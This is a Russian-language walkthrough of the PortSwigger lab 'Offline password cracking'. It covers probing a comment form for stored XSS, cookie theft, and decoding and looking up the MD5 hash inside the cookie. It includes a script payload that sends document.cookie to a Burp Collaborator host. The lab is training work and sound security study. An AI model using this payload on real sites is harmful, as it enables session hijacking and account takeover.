На странице
apsyleg1 мин
#portswigger #authentication #web-security

Офлайн-взлом пароля

Лаборатория

Offline password cracking · Practitioner

Решение

Дано

This lab stores the user's password hash in a cookie. The lab also contains an XSS vulnerability in the comment functionality. To solve the lab, obtain Carlos's stay-logged-in cookie and use it to crack his password. Then, log in as carlos and delete his account from the "My account" page.

Your credentials: wiener:peter
Victim's username: carlos

Анализ задания

Хэш пароля пользователя хранится в куки. С помощью XSS на странице комментов нужно похитить stay-logged-in куку и далее подобрать пароль.

Разведка

Залогинимся под пользователем wiener и поставим галочку «Запомнить меня».

Далее идём в первую статью и смотрим комменты. Закидываем в поля нагрузки — в поле текста комментария и в поле имени:

  • <>'"COZ1-COMMENT
  • <>'"COZ1-NAME

Комментарий отправлен. Нажимаем «Вернуться». Смотрим ответ от сервера:

<section class="comment">
    <p>
        <img src="/resources/images/avatarDefault.svg" class="avatar">                            &lt;&gt;&apos;&quot;COZ1-NAME | 26 May 2026
    </p>
    <p><>'"COZ1-COMMENT</p>
    <p></p>
</section>

Получается, что поле текста комментария уязвимо к XSS, а поле имени — нет, там происходит экскейпинг <>'".

Попробуем закинуть тогда <script>alert(25)</script>. Работает!

Теперь посмотрим, как выглядит кука stay-logged-in:

Set-Cookie: stay-logged-in=d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw; Expires=Wed, 01 Jan 3000 01:00:00 UTC
Set-Cookie: session=HYIyqq9WyhVgW2EBggmvYrFeFKNPkjHL; Secure; HttpOnly; SameSite=None

Хорошо, нет HttpOnly — можно её похитить. Что потом с ней делать — решим, может, просто сделать поиск по этому потенциальному хэшу, о таком писали в доке PortSwigger.

Как концептуально будет выглядеть нагрузка?

  1. Берём document.cookie и отправляем себе на сервер.

Возьмём URL в Burp Collaborator:

awanmq3hu6caaaar36tu220suj0ao0cp.oastify.com
<script>fetch('https://awanmq3hu6caaaar36tu220suj0ao0cp.oastify.com/?c='+document.cookie)</script>

Окей, получили куки жертвы:

GET /?c=secret=kMMSNa1CtoViZvGFdfkRGhrEmcaTkSLU;%20stay-logged-in=Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz

Выделяем в Burp Suite значение stay-logged-in. Получаем Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz.

carlos:26323c16d5f4dabff3bb136f2460a943

Похоже, это MD5 хэш, как в предыдущей лабе. Попробуем найти пароль для MD5 хэша 26323c16d5f4dabff3bb136f2460a943.

Атака по словарю получается. Или какая-то база хэшей.

https://md5.gromweb.com/?md5=26323c16d5f4dabff3bb136f2460a943 Вот такой ресурс есть полезный. Пароль — onceuponatime.

Заходим под пользователем и удаляем акк.

Лаба решена!